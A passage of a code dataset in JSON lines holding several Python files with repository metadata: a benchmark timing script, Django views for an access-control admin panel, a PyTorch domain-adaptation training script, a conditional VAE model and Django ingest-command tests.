driver.quit()\n","repo_name":"avonarnim/market_analyses","sub_path":"stock_losers_data_compiler.py","file_name":"stock_losers_data_compiler.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1022669603","text":"import os\nfrom string import Template\nimport timeit\n\ndef measureTimeToCSV():\n    code = Template(\"\"\"\nimport os\nos.system(\"{ ./speed_comparison/$exec $len $thr; } 1>/dev/null\")\n\"\"\")\n\n    executable = \"task5_nomd5\"\n    length = 6\n    threads = 12\n\n    with open(\"./speed_comparison/times.csv\", \"a\") as f:\n        f.write(\"Name: {}\\n\".format(executable))\n        f.write(\"Znaky: {}\\n\".format(length))\n        f.write(\"---------------------------\\n\")\n        f.write(\"FORKS        TIME\\n\")\n        f.write(\"{:2d}           {:f}\\n\".format(threads, timeit.timeit(code.substitute(exec = executable, len = str(length), thr=str(threads)), number=1)))\n        f.write(\"\\n\")\n\nif __name__ == \"__main__\":\n    measureTimeToCSV()\n","repo_name":"dusanak/my-skola","sub_path":"ps-ukoly/speed_comparison/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"41629726099","text":"from django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import logout\nfrom django.contrib.auth import authenticate, login\nfrom django.shortcuts import render, redirect\n\nfrom django.contrib import messages\n\nfrom .models import Policy, CustomABACUser, Resource, ResourceDescription\n\n# Create your views here.\ndef index(request):\n    # return \"hi\"\n    return render(request, \"main/base.html\", {})\n\ndef home(request):\n    return render(request, \"home.html\", {\"email\":\"radf\"})\n\ndef login_page(request):\n    return render(request, \"login.html\", {})\n\ndef login_process_form(request):\n    username = request.POST['inputEmail']\n    password = request.POST['inputPassword']\n    user = authenticate(username=username, password=password)\n    # print(user)\n    # print(request.user.is_authenticated)\n    if user is not None:\n        print(user.is_superuser)\n        login(request, user)\n        if(user):\n            return redirect('/adminPanel/dashboard')\n    else:\n        return render(request, \"login.html\", {})\n\ndef logout_view(request):\n    logout(request)\n    return render(request, \"login.html\", {})\n\n@login_required\ndef dashboard(request):\n    users =CustomABACUser.objects.all().count()\n    print(users)\n    resources = Resource.objects.all().count()\n    policies = Policy.objects.all().count()\n    return render(request, \"logged_in_templates/dashboard.html\", {\"users\":users,\n                                                                    \"resources\":resources,\n                                                                    \"policies\":policies})\n\n\n# Users\ndef users_page(request):\n    users = CustomABACUser.objects.filter(is_superuser=False)\n    return render(request,\"logged_in_templates/users/user.html\", {\"users\":users})\n\ndef add_user(request):\n    return render(request,\"logged_in_templates/users/add_users.html\", {})\n\ndef user_add_process(request):\n    if request.method == 'POST':\n        print(request.POST['email'])\n        user = CustomABACUser()\n        num_results = CustomABACUser.objects.filter(email = request.POST['email']).count()\n        if(num_results == 0):\n            user.first_name = request.POST['first_name']\n            user.last_name = request.POST['last_name']\n            user.email = request.POST['email']\n            user.username = request.POST['email']\n            user.set_password(request.POST['password'])\n            user.designation = request.POST['designation']\n            user.age = request.POST['age']\n            user.role = request.POST['role']\n            user.organization = request.POST['organization']\n            user.suburb = request.POST['suburb']\n            user.city = request.POST['city']\n            user.state = request.POST['state']\n            user.country = request.POST['country']\n            user.save()\n            messages.success(request, \"User saved successfully\",extra_tags='primary')\n        else:\n            messages.error(request, \"User with same email address already exists\",extra_tags='danger')\n    return render(request,\"logged_in_templates/users/add_users.html\", {})\n\n# Resources\ndef resources_page(request):\n    resources = Resource.objects.all()\n    return render(request,\"logged_in_templates/resources/resources.html\", {\"resources\":resources})\n\ndef add_resource_page(request):\n    policies = Policy.objects.all()\n    print(policies)\n    return render(request, \"logged_in_templates/resources/add_resource.html\", {\"policies\":policies})\n\ndef edit_resource(request, id):\n    if request.method=='POST':\n        print(\"edit resource button clicked\")\n        print(request.POST)\n        resource = Resource.objects.get(id=id)\n        resource.resource_name = request.POST['resource_name']\n        resource.viewable = request.POST['viewable']\n        resource.policy  = Policy.objects.get(policy_name=request.POST['policy'])\n        resource.save()\n        try:\n            resource_description = ResourceDescription.objects.get(resource=resource.id)\n        except ResourceDescription.DoesNotExist:\n            resource_description = ResourceDescription()\n            resource_description.resource = Resource.objects.get(resource_name=request.POST['resource_name'])\n            resource_description.creator=CustomABACUser.objects.get(id=request.user.id)\n        # resource_description.resource = Resource.objects.get(resource=resource.id)\n        # resource_description.creator = CustomABACUser.objects.get(email=request.user.email)\n        resource_description.resource_description_1 = \\\n                                request.POST['resource_description_1']\n        resource_description.resource_description_2 = \\\n                                request.POST['resource_description_2']\n        resource_description.resource_description_3 = \\\n                                request.POST['resource_description_3']\n        resource_description.resource_description_4 = \\\n                                request.POST['resource_description_4']\n        resource_description.resource_description_5 = \\\n                                request.POST['resource_description_5']\n        resource_description.save()\n        messages.success(request, \"Resource edited successfully\",extra_tags='primary')\n        policies = Policy.objects.all()\n        resource = Resource.objects.get(id=id)\n        resource_description = ResourceDescription.objects.get(resource=resource.id)\n        return render(request, \"logged_in_templates/resources/edit_resource.html\", {\"resource\": resource,\n                                                                                    \"policies\": policies,\n                                                                                    \"resource_description\": resource_description})\n    else:\n        policies = Policy.objects.all()\n        resource = Resource.objects.get(id=id)\n        # print(resource.resource_name)\n        try:\n            resource_description = ResourceDescription.objects.get(resource=resource.id)\n        except ResourceDescription.DoesNotExist:\n            resource_description = None\n        # print(resource_description.resource_description_1)\n        return render(request, \"logged_in_templates/resources/edit_resource.html\", {\"resource\": resource,\n                                                                                    \"policies\": policies,\n                                                                                    \"resource_description\": resource_description})\n\n\ndef resource_add_process(request):\n    if request.method == 'POST':\n        resource = Resource()\n        resource.resource_name = request.POST['resource_name']\n        resource.viewable = request.POST['viewable']\n        resource.policy  = Policy.objects.get(policy_name=request.POST['policy'])\n        resource.save()\n        resource_description = ResourceDescription()\n        resource_description.resource = Resource.objects.get(resource_name=request.POST['resource_name'])\n        resource_description.creator = CustomABACUser.objects.get(email=request.user.email)\n        resource_description.resource_description_1 = \\\n                                request.POST['resource_description_1']\n        resource_description.resource_description_2 = \\\n                                request.POST['resource_description_2']\n        resource_description.resource_description_3 = \\\n                                request.POST['resource_description_3']\n        resource_description.resource_description_4 = \\\n                                request.POST['resource_description_4']\n        resource_description.resource_description_5 = \\\n                                request.POST['resource_description_5']\n        resource_description.save()\n        messages.success(request, \"Resource saved successfully\",extra_tags='primary')\n    return render(request, \"logged_in_templates/resources/add_resource.html\", {})\n\n# Policy\ndef policy_page(request):\n    policies = Policy.objects.all()\n    return render(request, \"logged_in_templates/policies/policy.html\", {\"policies\":policies})\n\ndef add_policy_page(request):\n    return render(request, \"logged_in_templates/policies/add_policy.html\", {})\n\ndef policy_add_process(request):\n    if request.method == 'POST':\n        custom_user = CustomABACUser.objects.get(email=request.user.email)\n        myDict = dict(request.POST)\n        policy = Policy()\n        policy_name = myDict['policy_name']\n        policy.policy_name = policy_name[0].strip('[]')\n        policy.user = custom_user\n        policy_description = myDict['policy_description']\n        policy.policy_description = policy_description[0].strip('[]')\n        policy_version = myDict['policy_version']\n        policy.policy_version = policy_version[0].strip('[]')\n        subject_name = myDict['subject_name']\n        policy.subject_name = str(subject_name).strip('[]').replace(\"'\",\"\")\n        subject_value = myDict['subject_value']\n        policy.subject_value = str(subject_value).strip('[]').replace(\"'\",\"\")\n        action_name = myDict['action_name']\n        policy.action_name = str(action_name).strip('[]').replace(\"'\",\"\")\n        action_value = myDict['action_value']\n        policy.action_value = str(action_value).strip('[]').replace(\"'\",\"\")\n        # resource_name = myDict['resource_name']\n        # policy.resource_name = str(resource_name).strip('[]').replace(\"'\",\"\")\n        # resource_value = myDict['resource_value']\n        # policy.resource_value = str(resource_value).strip('[]').replace(\"'\",\"\")\n        environment_name = myDict['environment_name']\n        policy.environment_name = str(environment_name).strip('[]').replace(\"'\",\"\")\n        environment_value = myDict['environment_value']\n        policy.environment_value = str(environment_value).strip('[]').replace(\"'\",\"\")\n        policy.save()\n    return render(request, \"logged_in_templates/policies/add_policy.html\", {})\n","repo_name":"ridwanrahman/Decentralised-PIP-in-multi-domain","sub_path":"ABACProjectDomain1/PAP/apps/adminPanel/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39050938674","text":"\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport argparse\nimport torch\nfrom torch.autograd import Variable\nfrom models import main_models\nfrom torchsummary import summary\nimport numpy as np\nimport datasets\nfrom datasets import dataset\nimport sklearn\nfrom sklearn import metrics\nimport os\nos.environ['CUDA_VISIBLE_DEVICES']='1'\n\nparser=argparse.ArgumentParser()\nparser.add_argument('--n_epoches_1',type=int,default= 50)\nparser.add_argument('--n_epoches_2',type=int,default= 100)\nparser.add_argument('--n_epoches_3',type=int,default=200)\nparser.add_argument('--n_target_samples',type=int,default=7)\nparser.add_argument('--batch_size',type=int,default= 256)\n\nopt=vars(parser.parse_args())\n\nuse_cuda=True if torch.cuda.is_available() else False\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\ntorch.manual_seed(1)\nif use_cuda:\n    torch.cuda.manual_seed(1)\n\n    \n#--------------pretrain g and h for step 1---------------------------------\nspecies_all = ['Homo_sapiens','Rattus_norvegicus','Schistosoma_japonicum','Saccharomyces_cerevisiae','Mus_musculus','Escherichia_coli','Bacillus_velezensis','Plasmodium_falciparum','Oryza_sativa','Arabidopsis_thaliana']\nspecie1 = species_all[0]\nspecie2 = species_all[1]\n\nresult_path = '/harddisk/hdd_d/liuyu/PTM/ace/PTM_GAN/results/'\nif not os.path.exists(result_path):\n        os.makedirs(result_path)\n        \nmodel_path = '/harddisk/hdd_d/liuyu/PTM/ace/PTM_GAN/results/'\nif not os.path.exists(model_path):\n        os.makedirs(model_path)\n        \nmainfolder = '/harddisk/hdd_d/liuyu/PTM/ace/PTM_GAN/result/GAN/' + specie2 + '/' \nif not os.path.exists(mainfolder):\n    os.makedirs(mainfolder)\nfigfolder = mainfolder + '/figure'\nif not os.path.exists(figfolder):\n    os.makedirs(figfolder)\nprefolder = mainfolder + '/prediction'\nif not os.path.exists(prefolder):\n    os.makedirs(prefolder)\nfeafolder = mainfolder + '/feature'\nif not os.path.exists(feafolder):\n    os.makedirs(feafolder)\nmodelfolder = mainfolder + '/model'\nif not os.path.exists(modelfolder):\n    os.makedirs(modelfolder)\n\ndata_path = '/harddisk/hdd_d/liuyu/PTM/ace/PTM_GAN/data_npy/'\nbatch_size=opt['batch_size']\ntest_CRC_data = dataset(data_path,specie1, mode = 'test')\ntest_data_loader = torch.utils.data.DataLoader(test_CRC_data, batch_size=batch_size, shuffle=True) \n\ntrain_CRC_data = dataset(data_path,specie1, mode = 'train')\ntrain_data_loader = torch.utils.data.DataLoader(train_CRC_data, batch_size=batch_size, shuffle=True) \nvalidation_CRC_data = dataset(data_path,specie1, mode = 'valid')\nvalidation_data_loader = torch.utils.data.DataLoader(validation_CRC_data, batch_size=batch_size, shuffle=True) \n\ndef plot_loss(y):\n\n    x = range(0,len(y))\n    plt.plot(x, y, '.-',color=\"red\")\n    plt_title = 'xxx'\n    plt.title(plt_title)\n    plt.xlabel('per 200 times')\n    plt.ylabel('LOSS')\n    plt.savefig(result_path+'ptm-{:s}-loss.png'.format('HUMAN'))\n    \ndef save_feature(feature,phase,index):\n    l = feature.shape[1]\n    num = feature.shape[0]\n    final_matrix = np.ones((num,l))\n    for i in range(num):\n        temp = feature[i].flatten()\n        final_matrix[i] = temp\n    np.savetxt(feafolder + '/feature_{:s}_{:d}.txt'.format(phase,index),final_matrix)\n    \n    \nclassifier=main_models.Classifier()\nencoder=main_models.Encoder()\ndiscriminator=main_models.DCD(input_features=128)\n\n#print('net--------------------------')\n#print(encoder)\n\nclassifier.to(device)\nencoder.to(device)\ndiscriminator.to(device)\nloss_fn=torch.nn.CrossEntropyLoss()\nsummary(encoder,(1, 31, 21))\nexit(0)\noptimizer=torch.optim.Adam(list(encoder.parameters())+list(classifier.parameters()),lr=0.0001,weight_decay=0.0001)\n\nLoss = []\nfor epoch in range(opt['n_epoches_1']):\n    if epoch == 50:\n        optimizer=torch.optim.Adam(list(encoder.parameters())+list(classifier.parameters()),lr=0.00002,weight_decay=0.0001)\n    for i, (data, labels) in enumerate(train_data_loader):\n        data=data.to(device)\n        labels = labels[:,1]\n        labels=labels.to(device)\n        data = Variable(data,requires_grad=True)\n        labels = Variable(labels)\n        optimizer.zero_grad()\n        y_pred=classifier(encoder(data))\n        labels = labels.long()\n        loss=loss_fn(y_pred,labels)\n        loss.backward()\n        optimizer.step()\n        \n    acc=0\n    auc = 0\n    y_test_pred_all = 0\n    labels_all = 0\n    for i, (data, labels) in enumerate(test_data_loader):\n        \n        data=data.to(device)\n        labels = labels[:,1]\n        labels=labels.to(device)\n        labels = labels.long()\n        y_test_pred=classifier(encoder(data))\n        loss=loss_fn(y_test_pred,labels)\n        running_loss = loss.item()\n        Loss.append(running_loss)\n        \n        if i == 0:\n            y_test_pred_all = y_test_pred.detach().cpu()\n            labels_all = labels.detach().cpu()\n        else:\n            y_test_pred_all = torch.cat((y_test_pred_all,y_test_pred.detach().cpu()), 0)\n            labels_all = torch.cat((labels_all,labels.detach().cpu()), 0)        \n\n        acc+=(torch.max(y_test_pred.detach().cpu(),1)[1]==labels.detach().cpu()).float().mean().item()\n        \n    #y_test_pred_all = y_test_pred_all.detach().cpu()\n    #labels_all = labels_all.detach().cpu()\n    #print(labels_all)\n    plot_loss(Loss)\n    accuracy=round(acc / float(i+1), 3)\n    auc = metrics.roc_auc_score(labels_all,y_test_pred_all[:, 1])\n    print(\"step1----Epoch %d/%d  test accuracy: %.3f \"%(epoch+1,opt['n_epoches_1'],accuracy))\n    print(\"step1----Epoch %d/%d  test auc : %.3f \"%(epoch+1,opt['n_epoches_1'],auc))\n    \n    fpr_t, tpr_t, _ = metrics.roc_curve(labels_all,y_test_pred_all[:, 1])\n    fig, ax = plt.subplots()\n    ax.plot(fpr_t, tpr_t, 'b-', label='CNN-test {:.3%}'.format(auc))\n    ax.legend(loc='lower right', shadow=True)\n    plt.title('test of {:s}'.format('HUMAN'))\n    #plt.savefig(result_path+'ptm-{:s}-epoch-{:d}-auc-{:.4f}-acc-{:.4f}-test.png'.format('HUMAN', epoch+1, auc, accuracy))\n    plt.close()\n    torch.save(encoder, model_path + 'encoder1.pth.tar') \n    torch.save(classifier, model_path + 'classifier1.pth.tar') \n               \n    \"\"\"\n    acc = 0\n    auc = 0  \n    y_test_pred_all = 0\n    labels_all = 0\n    for i, (data, labels) in enumerate(train_data_loader):\n        \n        data=data.to(device)\n        labels=labels.to(device)\n        y_test_pred=classifier(encoder(data))\n        if i == 0:\n            y_test_pred_all = y_test_pred\n            labels_all = labels\n        else:\n            y_test_pred_all = torch.cat((y_test_pred_all,y_test_pred), 0)\n            labels_all = torch.cat((labels_all,labels), 0)        \n        acc+=(torch.max(y_test_pred,1)[1]==labels[:,1]).float().mean().item()\n    y_test_pred_all = y_test_pred_all.detach().numpy()\n    labels_all = labels_all.detach().numpy()\n\n    accuracy=round(acc / float(i), 3)\n    auc = metrics.roc_auc_score(labels_all[:, 1],y_test_pred_all[:, 1])\n    print(\"step1----Epoch %d/%d  train accuracy: %.3f \"%(epoch+1,opt['n_epoches_1'],accuracy))\n    print(\"step1----Epoch %d/%d  train auc: %.3f \"%(epoch+1,opt['n_epoches_1'],auc))\n    \"\"\"\n    \nX_s,Y_s=datasets.sample_data(data_path,specie1, mode = 'train')\nX_t,Y_t=datasets.create_target_samples(data_path,specie2, mode = 'train')  \n#-----------------train DCD for step 2--------------------------------\noptimizer_D=torch.optim.Adam(discriminator.parameters(),lr=0.01)\n\nfor epoch in range(opt['n_epoches_2']):\n    # data\n    groups,aa = datasets.sample_groups(X_s,Y_s,X_t,Y_t,seed=epoch)\n\n    n_iters = 4 * len(groups[1])\n    \n    \n    index_list = torch.randperm(n_iters)\n    mini_batch_size=40 #use mini_batch train can be more stable\n\n    loss_mean=[]\n\n    X1=[];X2=[];ground_truths=[]\n    for index in range(n_iters):\n\n        ground_truth=index_list[index]//len(groups[1])\n        x1,x2=groups[ground_truth][index_list[index]-len(groups[1])*ground_truth]\n        X1.append(x1)\n        X2.append(x2)\n        ground_truths.append(ground_truth)\n        \n        #select data for a mini-batch to train\n        if (index+1)%mini_batch_size==0:\n            X1=torch.stack(X1)\n            X2=torch.stack(X2)\n            ground_truths=torch.LongTensor(ground_truths)\n            X1=X1.to(device)\n            X2=X2.to(device)\n            ground_truths=ground_truths.to(device)\n            optimizer_D.zero_grad()\n            X_cat=torch.cat([encoder(X1),encoder(X2)],1)\n            y_pred=discriminator(X_cat.detach())\n            \n            loss=loss_fn(y_pred,ground_truths)\n            loss.backward()\n            optimizer_D.step()\n            loss_mean.append(loss.item())\n            X1 = []\n            X2 = []\n            ground_truths = []\n\n    print(\"step2----Epoch %d/%d loss:%.3f\"%(epoch+1,opt['n_epoches_2'],np.mean(loss_mean)))\n\n\n\nencoder=torch.load(model_path + 'encoder1.pth.tar')\nclassifier=torch.load(model_path + 'classifier1.pth.tar')\n#-------------------training for step 3-------------------\noptimizer_g_h=torch.optim.Adam(list(encoder.parameters())+list(classifier.parameters()),lr=0.00001)\noptimizer_d=torch.optim.Adam(discriminator.parameters(),lr=0.00000001)\n\n\ntest_CRC_data = dataset(data_path,specie2, mode = 'test')\ntest_data_loader = torch.utils.data.DataLoader(test_CRC_data, batch_size=batch_size, shuffle=True) \n\nfor epoch in range(opt['n_epoches_3']):\n    #---training g and h , DCD is frozen\n\n    groups, groups_y = datasets.sample_groups(X_s,Y_s,X_t,Y_t,seed=opt['n_epoches_2']+epoch)\n    G1, G2, G3, G4 = groups\n    Y1, Y2, Y3, Y4 = groups_y\n    groups_2 = [G2, G4]\n    groups_y_2 = [Y2, Y4]\n\n    n_iters = 2 * len(G2)\n    index_list = torch.randperm(n_iters)\n\n    n_iters_dcd = 4 * len(G2)\n    index_list_dcd = torch.randperm(n_iters_dcd)\n\n    mini_batch_size_g_h = 20 #data only contains G2 and G4 ,so decrease mini_batch\n    mini_batch_size_dcd= 40 #data contains G1,G2,G3,G4 so use 40 as mini_batch\n    X1 = []\n    X2 = []\n    ground_truths_y1 = []\n    ground_truths_y2 = []\n    dcd_labels=[]\n    for index in range(n_iters):\n\n\n        ground_truth=index_list[index]//len(G2)\n        x1, x2 = groups_2[ground_truth][index_list[index] - len(G2) * ground_truth]\n        y1, y2 = groups_y_2[ground_truth][index_list[index] - len(G2) * ground_truth]\n        # y1=torch.LongTensor([y1.item()])\n        # y2=torch.LongTensor([y2.item()])\n        \n        dcd_label=0 if ground_truth==0 else 2\n        X1.append(x1)\n        X2.append(x2)\n        ground_truths_y1.append(y1)\n        ground_truths_y2.append(y2)\n        dcd_labels.append(dcd_label)\n        \n       \n        if (index+1)%mini_batch_size_g_h==0:\n            ground_truths_y1 = torch.stack(ground_truths_y1)\n            ground_truths_y2 = torch.stack(ground_truths_y2)\n            ground_truths_y1 = ground_truths_y1[:,1]\n            ground_truths_y2 = ground_truths_y2[:,1]\n            X1=torch.stack(X1)\n            X2=torch.stack(X2)\n            ground_truths_y1=torch.Tensor(ground_truths_y1)\n            ground_truths_y2 = torch.Tensor(ground_truths_y2)\n            dcd_labels=torch.LongTensor(dcd_labels)\n            X1=X1.to(device)\n            X2=X2.to(device)\n            ground_truths_y1=ground_truths_y1.to(device)\n            ground_truths_y2 = ground_truths_y2.to(device)\n            dcd_labels=dcd_labels.to(device)\n\n            optimizer_g_h.zero_grad()\n\n            encoder_X1=encoder(X1)\n            encoder_X2=encoder(X2)\n\n            X_cat=torch.cat([encoder_X1,encoder_X2],1)\n            y_pred_X1=classifier(encoder_X1)\n            y_pred_X2=classifier(encoder_X2)\n            y_pred_dcd=discriminator(X_cat)\n            ground_truths_y1 = ground_truths_y1.long()\n            ground_truths_y2 = ground_truths_y2.long()\n            loss_X1=loss_fn(y_pred_X1,ground_truths_y1)\n            loss_X2=loss_fn(y_pred_X2,ground_truths_y2)\n            loss_dcd=loss_fn(y_pred_dcd,dcd_labels)\n\n            loss_sum = loss_X1 + loss_X2 + 0.2 * loss_dcd\n\n            loss_sum.backward()\n            optimizer_g_h.step()\n\n            X1 = []\n            X2 = []\n            ground_truths_y1 = []\n            ground_truths_y2 = []\n            dcd_labels = []\n\n\n    #----training dcd ,g and h frozen\n    X1 = []\n    X2 = []\n    ground_truths = []\n    for index in range(n_iters_dcd):\n\n        ground_truth=index_list_dcd[index]//len(groups[1])\n\n        x1, x2 = groups[ground_truth][index_list_dcd[index] - len(groups[1]) * ground_truth]\n        X1.append(x1)\n        X2.append(x2)\n        ground_truths.append(ground_truth)\n\n        if (index + 1) % mini_batch_size_dcd == 0:\n            X1 = torch.stack(X1)\n            X2 = torch.stack(X2)\n            ground_truths = torch.LongTensor(ground_truths)\n            X1 = X1.to(device)\n            X2 = X2.to(device)\n            ground_truths = ground_truths.to(device)\n\n            optimizer_d.zero_grad()\n            X_cat = torch.cat([encoder(X1), encoder(X2)], 1)\n            y_pred = discriminator(X_cat.detach())\n            loss = loss_fn(y_pred, ground_truths)\n            loss.backward()\n            optimizer_d.step()\n            # loss_mean.append(loss.item())\n            X1 = []\n            X2 = []\n            ground_truths = []\n\n    #testing\n    acc=0\n    auc = 0\n    y_test_pred_all = 0\n    labels_all = 0\n    for i, (data, labels) in enumerate(test_data_loader):\n        \n        data=data.to(device)\n        labels = labels[:,1]\n        labels=labels.to(device)\n        labels= labels.long()\n        y_test_pred=classifier(encoder(data))\n        loss=loss_fn(y_test_pred,labels)\n        running_loss = loss.item()\n        Loss.append(running_loss)\n        plot_loss(Loss)\n        if i == 0:\n            y_test_pred_all = y_test_pred.detach().cpu()\n            labels_all = labels.detach().cpu()\n        else:\n            y_test_pred_all = torch.cat((y_test_pred_all,y_test_pred.detach().cpu()), 0)\n            labels_all = torch.cat((labels_all,labels.detach().cpu()), 0)        \n        a =torch.max(y_test_pred.detach().cpu(),1)[1]\n        b =torch.max(y_test_pred.detach().cpu(),1)[1]==labels.detach().cpu()\n        acc+=(torch.max(y_test_pred.detach().cpu(),1)[1]==labels.detach().cpu()).float().mean().item()\n    accuracy = round(acc / float(i+1), 3)  \n    auc = metrics.roc_auc_score(labels_all,y_test_pred_all[:, 1])\n    np.savetxt(prefolder+ '/prediction scores of epoch-{:d}.txt'.format(epoch),y_test_pred_all)\n    np.savetxt(prefolder+ '/label of epoch-{:d}.txt'.format(epoch),labels_all)\n    \n    print(\"step1----Epoch %d/%d  accuracy: %.3f \"%(epoch+1,opt['n_epoches_3'],accuracy))\n    print(\"step1----Epoch %d/%d  auc: %.3f \"%(epoch+1,opt['n_epoches_3'],auc))\n    torch.save(encoder, modelfolder + '/encoder'+ str(epoch)+'.pth.tar') \n    torch.save(classifier, modelfolder + '/classifier'+ str(epoch)+'.pth.tar') \n    \n    fpr_t, tpr_t, _ = metrics.roc_curve(labels_all,y_test_pred_all[:, 1])\n    fig, ax = plt.subplots()\n    ax.plot(fpr_t, tpr_t, 'b-', label='CNN-test {:.3%}'.format(auc))\n    ax.legend(loc='lower right', shadow=True)\n    plt.title('test of {:s}'.format(specie2))\n    plt.savefig(figfolder + '/ptm-{:s}-epoch-{:d}-auc-{:.4f}-acc-{:.4f}-test.png'.format(specie2, epoch, auc, accuracy))\n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n","repo_name":"xiaoyuleyuan/DeepDA-Ace","sub_path":"code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27843623960","text":"from hydra.utils import instantiate\nimport torch\nfrom omegaconf import OmegaConf\n\nfrom src.models.base import BaseModel, ValidationResult\nfrom torch import distributions\nfrom src.utils.distributions import get_decode_dist\nfrom src.utils.losses import normal_kld\nimport torch.nn.functional as F\n\n## q(z | x, c): encoder, append one-hot vector to all pixels\n## p(x | z, c): decoder, append embedding to z\n## p(z | c): prior distribution, can be fixed or learned\n## Loss: -KL(q(z|x,c) || p(z|c)) + E_{z~q(z|x,c)}(log p(x|z, c))\n\nclass cVAE(BaseModel):\n    def __init__(\n        self,\n        datamodule: OmegaConf = None,\n        encoder: OmegaConf = None,\n        decoder: OmegaConf = None,\n        latent_dim: int = 100,\n        beta: float = 1.0,\n        recon_weight: float = 1.0,\n        lr: float = 1e-4,\n        b1: float = 0.9,\n        b2: float = 0.999,\n        n_classes: int = None,\n        encode_label: bool = True,\n        decoder_dist = \"guassian\"\n    ):\n        super().__init__(datamodule)\n        self.save_hyperparameters()\n\n        self.decoder = instantiate(decoder, input_channel=latent_dim*2, output_channel=self.channels, output_act=self.output_act)\n        if encode_label:\n            self.encoder = instantiate(encoder, input_channel=self.channels+n_classes, output_channel=2 * latent_dim)\n        else:\n            self.encoder = instantiate(encoder, input_channel=self.channels, output_channel=2 * latent_dim)\n        self.class_embedding = torch.nn.Embedding(n_classes, latent_dim)\n        self.decoder_dist = get_decode_dist(decoder_dist)\n        self.n_classes = n_classes\n\n    def forward(self, z, labels):\n        \"\"\"Generate images given latent code.\"\"\"\n        embed = self.class_embedding(labels)\n        z = torch.cat([z, embed], dim=1)\n        output = self.decoder(z)\n        output = output.reshape(output.shape[0], self.channels, self.height, self.width)\n        return output\n\n    def configure_optimizers(self):\n        lr = self.hparams.lr\n        b1 = self.hparams.b1\n        b2 = self.hparams.b2\n        opt = torch.optim.Adam(self.parameters(), lr=lr, betas=(b1, b2))\n        scheduler = torch.optim.lr_scheduler.StepLR(opt, 1, gamma=0.99)\n        return [opt], [scheduler]\n    \n    def reparameterize(self, mu, log_sigma):\n        post_dist = distributions.Normal(mu, torch.exp(log_sigma))\n        samples_z = post_dist.rsample()\n        return samples_z\n\n    def vae(self, imgs, labels):\n        N, C, H, W = imgs.shape\n        if self.hparams.encode_label:\n            labels_onehot = F.one_hot(labels, num_classes=self.n_classes).reshape(N, self.n_classes, 1, 1).expand(N, self.n_classes, H, W)\n            imgs = torch.cat([imgs, labels_onehot], dim=1)\n        z_ = self.encoder(imgs)  # (N, latent_dim)\n        mu, log_sigma = torch.chunk(z_, chunks=2, dim=1)\n        z = self.reparameterize(mu, log_sigma)\n        recon_imgs = self.forward(z, labels)\n        return mu, log_sigma, z, recon_imgs\n\n    def training_step(self, batch, batch_idx):\n        imgs, labels = batch # (N, C, H, W)\n        mu, log_sigma, z, recon_imgs = self.vae(imgs, labels)\n        kld = normal_kld(mu, log_sigma)\n\n        log_p_x_of_z = self.decoder_dist.prob(recon_imgs, imgs).mean(dim=0)\n        elbo = -self.hparams.beta*kld + self.hparams.recon_weight * log_p_x_of_z\n\n        self.log(\"train_log/elbo\", elbo)\n        self.log(\"train_log/kl_divergence\", kld)\n        self.log(\"train_log/log_p_x_of_z\", log_p_x_of_z)\n        return -elbo \n    \n    def sample(self, N):\n        labels = torch.arange(self.n_classes, device=self.device).reshape(self.n_classes, 1).repeat(1, N).reshape(-1)\n        z = torch.randn(N*self.n_classes, self.hparams.latent_dim, device=self.device)\n        imgs = self.forward(z, labels)\n        return imgs\n    \n    def validation_step(self, batch, batch_idx):\n        imgs, labels = batch\n        mu, log_sigma, z, recon_imgs = self.vae(imgs, labels)\n        log_p_x_of_z = self.decoder_dist.prob(recon_imgs, imgs).mean(dim=0)\n\n        fake_imgs = self.sample(8)\n        self.log(\"val_log/log_p_x_of_z\", log_p_x_of_z)\n        return ValidationResult(real_image=imgs, fake_image=fake_imgs, \n                    recon_image=recon_imgs, label=labels, encode_latent=z)","repo_name":"Victarry/Image-Generation-models","sub_path":"src/models/cvae.py","file_name":"cvae.py","file_ext":"py","file_size_in_byte":4221,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"60"}
+{"seq_id":"17245873921","text":"import unittest\nfrom unittest.mock import patch\n\nimport django.core\nimport django.test\nfrom django.core.management import call_command\nfrom django.utils.six import StringIO\n\nfrom usage.management.importers import Importer\n\nTEST_DATA_FILE = 'usage/nova_1470148200_1470320999.json'\n\n\nclass CommandTest(unittest.TestCase):\n    def test_bad_type(self):\n        with self.assertRaises(django.core.management.base.CommandError) as cm:\n            call_command('ingest', 'any file', '-tNotExists')\n        self.assertIn('argument -t/--type: invalid choice:', str(cm.exception))\n\n    def test_bad_name_pattern(self):\n        import os.path\n        with patch.object(os.path, 'exists', return_value=True):\n            with self.assertRaises(django.core.management.base.CommandError) as cm:\n                call_command('ingest', 'any file', '-tnova')\n            self.assertIn('does not meet patten request', str(cm.exception))\n\n    def test_bad_path(self):\n        with self.assertRaises(django.core.management.base.CommandError):\n            call_command('ingest', 'TEST_DATA_FILE', type='nova')\n\n\nclass ImporterTest(unittest.TestCase):\n    def setUp(self):\n        self.test_type = 'nova'\n\n    def test_importer_insert_call(self):\n        out = StringIO()\n        err = StringIO()\n        with patch.object(Importer, 'insert') as mocked:\n            call_command('ingest', TEST_DATA_FILE, type=self.test_type, stdout=out, stderr=err)\n            self.assertTrue(mocked.called)\n        self.assertEqual(err.getvalue(), '')\n        self.assertIn('Ingestion completed successfully', out.getvalue())\n\n    def test_importer_constructor(self):\n        with patch('usage.management.commands.ingest.Importer') as MockClass:\n            call_command('ingest', TEST_DATA_FILE, type=self.test_type)\n            args, _ = MockClass.call_args\n            self.assertEqual(len(args), 6)\n            self.assertIsInstance(args[0], int)\n            self.assertIsInstance(args[1], int)\n            self.assertIsInstance(args[2], list)\n            self.assertIsInstance(args[3], object)\n            self.assertIsInstance(args[4], list)\n            